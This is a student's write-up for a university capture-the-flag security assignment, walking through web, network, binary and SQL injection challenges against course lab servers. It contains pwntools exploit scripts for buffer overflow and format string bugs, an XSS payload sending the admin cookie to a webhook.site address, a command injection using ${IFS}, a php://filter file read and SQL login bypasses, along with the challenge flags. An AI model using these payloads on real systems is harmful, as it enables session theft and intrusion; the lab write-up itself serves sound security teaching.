

Contents

WarmUp:	2
Inspector :.....	2
Time to REST:	2
Network:	3
Learn WireShark:.....	3
Hide and Seek:	3
Binary:	4
BofSchool:	4
CustomCat:	4
Vegas:	5
Address Book:.....	6
Web:.....	7
aCross the Site:	7
Localhost is Safer Than Web:	7
Web Tools:.....	8
Vaccine:	8
Superior Vaccine:.....	9
Booster Vaccine:.....	9

Assignment 2 WriteUp:

WarmUp:

Inspector :

The flag was split up into 4 parts in the website <http://cs2107-ctfd-i.comp.nus.edu.sg:2781/>. 2 hidden in the HTML file, 1 in the CSS file (style.css) and 1 in the JS file (script.js).

```
<!--Portfolio Modal - Text-->
<p class="mb-5">
  Congratulations, you found the first section of the flag (1/4) cs2107{Ar3n't_
</p>

<div id="portfolioModal6" class="portfolio-modal modal fade" tabindex="-1" role="dialog" aria-labelledby
  <!--Congratulations, you found the second section of the flag (2/4): y0u_4_vE-->
  <!--Bootstrap core JS-->
@charset "UTF-8";
/*!
 * Congratulations, you found the third section of the flag (3/4): ry_dilli
 * Start Bootstrap - Freelancer v6.0.5 (https://startbootstrap.com/theme/freelancer)
 * ...
66     });
67
68   })(jQuery); // End of use strict
69
70
71   // Congratulations, you found the last section of the flag (4/4): gent_one}

Q flag
```

Flag: cs2107{Ar3n't_y0u_4_vEry_dilligent_one}

Time to REST:

Task is to send curl commands.

```
curl -X POST http://cs2107-ctfd-i.comp.nus.edu.sg:2782
curl -X PUT http://cs2107-ctfd-i.comp.nus.edu.sg:2782
curl -X DELETE http://cs2107-ctfd-i.comp.nus.edu.sg:2782
```

```
nnythingy@DESKTOP:~$ curl -X POST http://cs2107-ctfd-i.comp.nus.edu.sg:2782/
Good job, here is the first 1/3 flag: cs2107{p0st_
Now to send a PUT requestnnythingy@DESKTOP:~$
nnythingy@DESKTOP:~$ curl -X PUT http://cs2107-ctfd-i.comp.nus.edu.sg:2782/
Great Update, here is the 2nd 2/3 of the flag: 4nd_update_b4_
Now send a DELETE req
nnythingy@DESKTOP:~$ curl -X DELETE http://cs2107-ctfd-i.comp.nus.edu.sg:2782/
Nice, here is the 3/3 of the flag: delete_42532}nnythingy@DESKTOP:~$ _
```

Flag: cs2107{p0st_4nd_update_b4_delete_42532}

Network:

Learn WireShark:

Follow TCP stream in the learn_wireshark.pcapng file. Then we will find 2 pieces of text which contain the flag.

complete text:

The 2 Stages of the Flag Hunt Process

While all creative people apply unique methods and thought processes to their work, there are 2 stages that most hunters subconsciously follow while pursuing their flag endeavors. The 2 stages of the hunting process each flow logically into the next phase of the process. As you embark on your own hunting process, unleash your mind and let your ideas grow through the 2 stages of hunting.

Preparation stage: As you begin the hunting journey, the first stage involves prep work and idea generation. This is when you gather materials and conduct research that could spark an interesting idea. Brainstorm and let your mind wander, or write in a journal to foster divergent thinking; flag 1: cs2107{w3Lc0me_t0_tH3_f0rens1cS_w0R1d} this will help you consider all possible approaches to building out your idea. In this first part of the process, your brain is using its memory bank to draw on knowledge and past experiences to generate original ideas.

Incubation stage: When you have finished actively thinking about your concepts, the second stage is where you let it go. Part of creative thinking is taking a step away from your idea before you sit down to flesh it out. You might work on another project or take a break from the creative process altogether...regardless, you are not consciously trying to work on your idea. Walking away from your idea might seem counterproductive, flag 2: 3_f0rens1cS_w0R1d} but it...s an important stage of the process. During this time, your story or song or problem is incubating in the back of your mind.

Sometimes called the insight stage, illumination is when the ...aha... moment happens. The light bulb clicks on as spontaneous new connections are formed and all of that material you...ve gathered comes together to present the solution to your problem. In this third stage, the answer to your creative quest strikes you. For example, you overcome writer...s block by figuring out the ending to your story. It can take you by surprise but after the incubation stage, an idea has emerged.

Flag: cs2107{w3Lc0me_t0_tH3_f0rens1cS_w0R1d}

Hide and Seek:

Following TCP stream in the file hideseek.pcapng, we find that there is a user authenticating and downloading a file called secret.zip. Thus by downloading that TCP stream which contains the zip file. We try to unzip and require the password (cowhunt) which is from the previous authentication.



Flag: cs2107{w4t_d03s_tH3_c0w_s4y_m00_m0o}

Binary:

BofSchool:

The challenge requires a bufferoverflow attack. In this situation we will require changing the return address in the instruction pointer (\$rip) to the address of the function win().

```
nnythingy@DESKTOP:/mnt/d/Workable Shit/notes/School/School given/CS2107/Assignment/Assignment 2/bofSchool$ ./xpl.py
[*] Opening connection to cs2107-ctfd-i.comp.nus.edu.sg on port 2770: Done
[*] Switching to interactive mode
cs2107{4r3_y0u_r34dy_f0r_m0r3_h4ck1n6}
[*] Got EOF while reading in interactive
$
[*] Interrupted
```

File: bofxpl.py

```
# pwntools is a very powerful library for doing exploitation
from pwn import *
HOST = "cs2107-ctfd-i.comp.nus.edu.sg"
PORT = 2770
BINARY = "./bof"
r = remote(HOST, PORT) # to open a connection to the remote service, aka the challenge
PADDING = b"0"*40
RETURN_ADDRESS = 0x004005b7 #address of win()
PAYLOAD = PADDING + p64(RETURN_ADDRESS) # p64 converts an integer to 8-byte little endian bytestring format
r.sendline(PAYLOAD)
r.interactive()
```

Flag: cs2107{4r3_y0u_r34dy_f0r_m0r3_h4ck1n6}

CustomCat:

The challenge requires a format string attack. Since the input is not sanitized in the line where `printf(input_filename);`, we are able to send in any type of parameters we want to print out the flag. By utilizing the `$` format specifier in `printf`, we are able to indicate which parameter we want to be printed out. In this case it is where `n = 13` which will print the flag.

```
nnythingy@DESKTOP:/mnt/d/Workable Shit/notes/School/School given/cs2107/Assignment/Assignment 2/customCat$ ./xpl.py
[*] Opening connection to cs2107-ctfd-i.comp.nus.edu.sg on port 2779: Done
[*] Switching to interactive mode
Current working directory is: /home/customcat/file
cat.txt
customcat
customcat.c
flag.txt
Enter a filename to print the contents of the file => cs2107{4mat_y0uR_stRinGs_706c73}
cannot be found in the current directory.
Hint: Flag is at 0x55a5d6d38260
```

File: catxpl.py

```
from pwn import *
HOST = "cs2107-ctfd-i.comp.nus.edu.sg"
PORT = 2779
for i in range(0,14):
    r = remote(HOST, PORT) # to open a connection to the remote service, aka the challenge
    PADDING = "%" + str(i) + "$s"
    r.sendline(PADDING)
    r.interactive()
```

Flag: cs2107{4mat_y0uR_stRinGs_706c73}

Vegas:

The challenge requires a timing attack. Whenever we choose to reset, it will change to seed of `srand()` to `current_time`, which is `time(NULL)`. Thus by repeatedly calling `reset` before each `guess`, we can know what the number will be for `play()`

Thus to do this, we need a helper file which will also calculate the `srand(time(NULL))` at the same time when we reset the challenge. Then we just need to feed in the input from the helper file as the correct “guess”

```
112785 >
112786 ===== ALLOCATED A JACKPOT MACHINE =====
112787 Give me a number between 1 and 100: Lucky!Score: 7
112788
112789
112790 $ $ $ KACHING! CONGRATULATIONS YOU HACKED THE JACKPOT!!! $ $ $
112791
112792 $ * $ * $ YOU'RE A MILLIONAIRE! $ * $ * $
112793 cs2107{eV3rYdAy_1m_bUfF3r1nG}
112794 Thanks for playing!
112795 ----- What do you want to do? -----
112796 1. Play
112797 2. Reset
112798 3. Exit
```

Files: `vegexpl.py`, `helper.c`

```
from pwn import *
from subprocess import *
HOST = "cs2107-ctfd-i.comp.nus.edu.sg"
PORT = 2773
BINARY = "/.vegas"

r = remote(HOST, PORT) # to open a connection to the remote service, aka the challenge

for i in range(0,100000):
    PADDING = ""
    r.sendline(PADDING)
    for i in range(0, 8):
        r.sendline("2")
        guess = check_output(["./helper"])
        r.sendline(PADDING)
        r.sendline("1")
        r.sendline(guess)
    sleep(0.0001) # to line up time with the server
```

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    srand(time(NULL));
    int num = rand() % 100 + 1;
    printf("%d", num);
    return 0;
}
```

Flag: `cs2107{eV3rYdAy_1m_bUfF3r1nG}`

Address Book:

The challenge requires an integer overflow attack. Our input into the function `delete_many_contacts()` will immediately affect the variable `int num_contacts`. With the largest value of `int` as 2147483647, the value 2147483648 will start again from -2147483648 . Another observation is trying a negative number eg: -1 in `delete_many_contacts()` will add to `num_contacts` since `num_contacts -= delete_num`.

Hence the attack will require us:

- 1) Delete -2147483647 contacts with `delete_many_contacts()`, which will add 2147483647 empty contacts.
- 2) Delete 2147483648 contacts, which will minus -2147483648.
 - a. This will make `num_contacts = -1`, and hence the array will interact with the -1 index and go back 1 struct `Contact`.
- 3) Add a contact to the struct at `&contacts[-1]`
 - a. Since each struct will take up 40 bytes, 20 for `name` and 20 for `phone_number`
 - b. The address for `is_premium_user` is 20 bytes away. Hence we just need to write `is_premium_user` with any non-zero number. This will make the switch case 999 true and unlock the flag in `premium_feature()`

```
]] Successfully added contact.
```

```
=====*****=====
```

```
1. List contacts
```

```
2. Add contact
```

```
3. Delete contact
```

```
4. Delete many contacts
```

```
=====*****=====
```

```
> 999
```

```
cs2107{s1gn3d_v5_uns1gn3d_7h3r3_1s_a_d1ff3r3nc3}=====*****=====
```

Flag: cs2107{s1gn3d_v5_uns1gn3d_7h3r3_1s_a_d1ff3r3nc3}

Web:

aCross the Site:

This is an XSS attack. Thus we will inject a script function to write the cookie the admin has and send to our webhook.

Request Details

Host: 165.232.169.47

Date: 04/06/2021 3:03:28 PM (2 days ago)

Size: 0 bytes

ID: b4e5a3ba-e160-4aa6-8bb1-787133e80a07

Files:

Query strings:

c: flag=cs2107{n0w_y0u_s33_m3_x5S}

Headers:

accept-language: en-us

accept-encoding: gzip, deflate, br

accept: image/avif, image/webp, image/apng, image/svg+xml, image...

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (...)

host: webhook.site

content-length: (empty)

content-type: (empty)

http://165.232.169.47:2777/?search=%3Cscript%3E+document.write%28%27%3Cimg+src%3D%22https%3A%2F%2Fwebhook.site%2F8b1030f7-6e3d-48b9-b23d-126f13e99755%3Fc%3D%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%29%3B+%3C%2Fscript%3E

Flag: cs2107{n0w_y0u_s33_m3_x5S}

Localhost is Safer Than Web:

This requires us to take the file and using PHP stream filters, convert the file into base64, which will encode the whole file instead of the PHP file being executed on the server.

curl http://cs2107-ctfd-i.comp.nus.edu.sg:2782/?f=php://filter/convert.base64-encode/resource=flag.php

Recipe

From Base64

Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

Input

start: 1192 end: 1192 length: 1192 lines: 1

Output

start: 894 end: 894 length: 892 lines: 22

time: 3ms

length: 892

lines: 22

<?php

// Ah man! You found it! It was indeed here.

// Here you go

// cs2107{1_a1nt_u2ing_php_4ga1n}

?>

Flag: cs2107{1_a1nt_u2ing_php_4ga1n}

Web Tools:

This challenge requires to conduct an OS command injection. We need to pipe the commands we want to use after the given command. Since whitespaces are escaped, we need to add `${IFS}` which is an internal field separator to run the command `cat` properly.

\$ ping -c1 |ls

ping: usage error: Destination address required
requirements.txt
service.py
templates
the_flag_is_in_here.txt

Ping

Run

\$ ping -c1 |cat\${IFS}the_flag_is_in_here.txt

cs2107{05_c0mm4nd_1nj3c710n_15_d4n63r0u5_50_b3_c4r3ful_y0}ping: usage error: Destination address required

Flag: cs2107{05_c0mm4nd_1nj3c710n_15_d4n63r0u5_50_b3_c4r3ful_y0}

Vaccine:

This challenge requires and SQL injection. With the command `admin'--`

Level Up!

cs2107{aw3s0meeee_Y0uG0t_v4cc1n4t3d}

Log In

```
SELECT * FROM USERS WHERE username = '$username' AND pass = '$password';
```

Username:

admin' --

 This connection is not secure. Logins entered here could be compromised. [Learn More](#)

[View Saved Logins](#)

Flag: cs2107{aw3s0meeee_Y0uG0t_v4cc1n4t3d}

Superior Vaccine:

This challenge requires and SQL injection. With the command admin'--

Challenge Cleared!

cs2107{g3T_y0_v4cC111Ne_T0d4Y78372648723467YY}

Super Secure Log In

SELECT * FROM USERS WHERE username = '\$username' AND pass = '\$password';

Username:

admin;--|

 This connection is not secure. Logins entered here could be compromised. [Learn More](#)

[View Saved Logins](#)

Flag: cs2107{g3T_y0_v4cC111Ne_T0d4Y78372648723467YY}

Booster Vaccine:

This challenge requires and SQL injection. But since the keyword “admin” is being filtered out, there is a need to bypass that. By utilizing string concatenation, we are able to bypass the filter and still input the word admin by: ad'/**/||/**/'min'--

Challenge Cleared!

cs2107{y0u_4R3e3eee_In51NciBI39873458u5_n0w}

Super Secure Log In

"SELECT * FROM USERS WHERE username = '\$username' AND pass = '\$password';"

Username:

ad'/**/||/**/'min'--|

Flag: cs2107{y0u_4R3e3eee_In51NciBI39873458u5_n0w}